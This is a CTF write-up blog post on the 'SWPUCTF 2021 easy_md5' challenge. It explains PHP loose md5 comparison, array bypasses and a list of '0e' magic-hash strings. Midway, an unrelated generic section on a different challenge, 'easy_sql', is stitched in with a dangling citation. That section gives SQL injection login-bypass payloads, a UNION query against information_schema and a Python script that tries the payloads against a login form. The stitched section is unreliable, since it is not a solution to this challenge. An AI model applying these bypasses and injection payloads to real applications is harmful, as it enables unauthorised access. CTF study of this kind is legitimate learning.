[SWPUCTF 2021 新生赛]easy_md5

借鉴博客 

[SWPUCTF 2021 新生赛]easy_md5_青少年ctf easymd5-优快云博客

我们直接看见源码

<?php 
 highlight_file(__FILE__);
 include 'flag2.php';
 
if (isset($_GET['name']) && isset($_POST['password'])){
    $name = $_GET['name'];
    $password = $_POST['password'];
    if ($name != $password && md5($name) == md5($password)){
        echo $flag;
    }
    else {
        echo "wrong!";
    }
 
}
else {
    echo 'wrong!';
}
?> 

就是一个很简单的相等

然后php的弱比较

PHP两种比较:

a.‘==’弱类型比较:

‘123’==‘123’---->true

‘123’==‘123abc....’---->true

注:只取字符串开头整数部分,特别注意*e*(科学计数法)开头的字符串取科学计数法的数值,如:

‘1e3’==‘1e3’      ---->true

‘1e3ctf’==‘1e3ctf’  ---->true

‘1e3’==‘1e4’      ---->false

‘1e3ctf’==‘1e4ctf’  ---->false

知道了这个是若比较,并且是md5

我们有两方式

1.数组绕过

原理:PHP md5函数接收的参数为string(字符串型),如果传入arry(数组型)就无法计算其md5值,但不会报错,导致数组md5值都相等.

两个null 肯定相等

2弱比较

PHP在进行“==”(弱类型比较)时,会先转换字符串类型,再进行字符串比较,而进行md5后以0e开头的都会被PHP识别为科学计数法,即0e*被视作0的*次方,结果都为0,故我们只需找到md5后为0e*的字符串,常用md5后为0e*的有:

240610708      0e462097431906509019562988736854

QLTHNDT       0e405967825401955372549139051580

QNKCDZO      0e830400451993494058024219903391

PJNPDWY       0e291529052894702774557631701704

NWWKITQ      0e763082070976038347657360817689

NOOPCJF       0e818888003657176127862245791911

MMHUWUV    0e701732711630150438129209816536

MAUXXQC     0e478478466848439040434801845361

### 关于 SWPUCTF 2021 新生 easy_sql 的解题思路 SQL 注入是一种常见的安全漏洞,攻击者通过向应用程序输入恶意 SQL 查询来获取敏感数据或执行未经授权的操作。对于 SWPUCTF 2021 新生中的 `easy_sql` 题目,其核心在于利用 SQL 注入技术绕过登录验证机制并访问隐藏的数据。 #### 登录绕过的常见方法 通常情况下,题目会提供一个简单的登录表单,其中用户名和密码会被拼接到一条 SQL 查询语句中。如果未对用户输入进行适当过滤,则可以注入逻辑条件使查询始终返回真值。例如: 假设原始查询如下: ```sql SELECT * FROM users WHERE username='input_username' AND password='input_password'; ``` 可以通过提交以下 payload 实现绕过: ```plaintext admin' -- - ``` 这会使最终的 SQL 查询变为: ```sql SELECT * FROM users WHERE username='admin' -- -' AND password='input_password'; ``` 由于双连字符 (`--`) 表示注释掉后续部分,因此无论实际密码为何,此查询都会尝试匹配名为 `admin` 的账户[^1]。 #### 提取 flag 数据库字段名猜测 除了基本的身份认证旁路外,在某些场景下还需要进一步探索数据库结构以定位存储标志位的具体位置。此时可采用联合查询 (UNION SELECT) 或错误基注入等方式枚举列数以及对应的表/列名称。 比如当得知存在额外的秘密信息时,可能需要试验不同的组合直到成功检索到目标记录为止。下面给出了一种通用形式用于演示如何附加其他参数至原请求之中从而揭示更多细节: ```sql 1 UNION ALL SELECT null,table_name FROM information_schema.tables-- ``` 以上仅作为理论指导框架,请依据具体环境调整相应策略完成挑战任务。 ```python import requests url = "http://example.com/login" payloads = ["admin' -- -", "' OR '1'='1"] for p in payloads: response = requests.post(url, data={'username':p,'password':'irrelevant'}) if "Welcome" in response.text: print(f"[+] Login bypassed with payload: {p}") break ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

name_name123

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值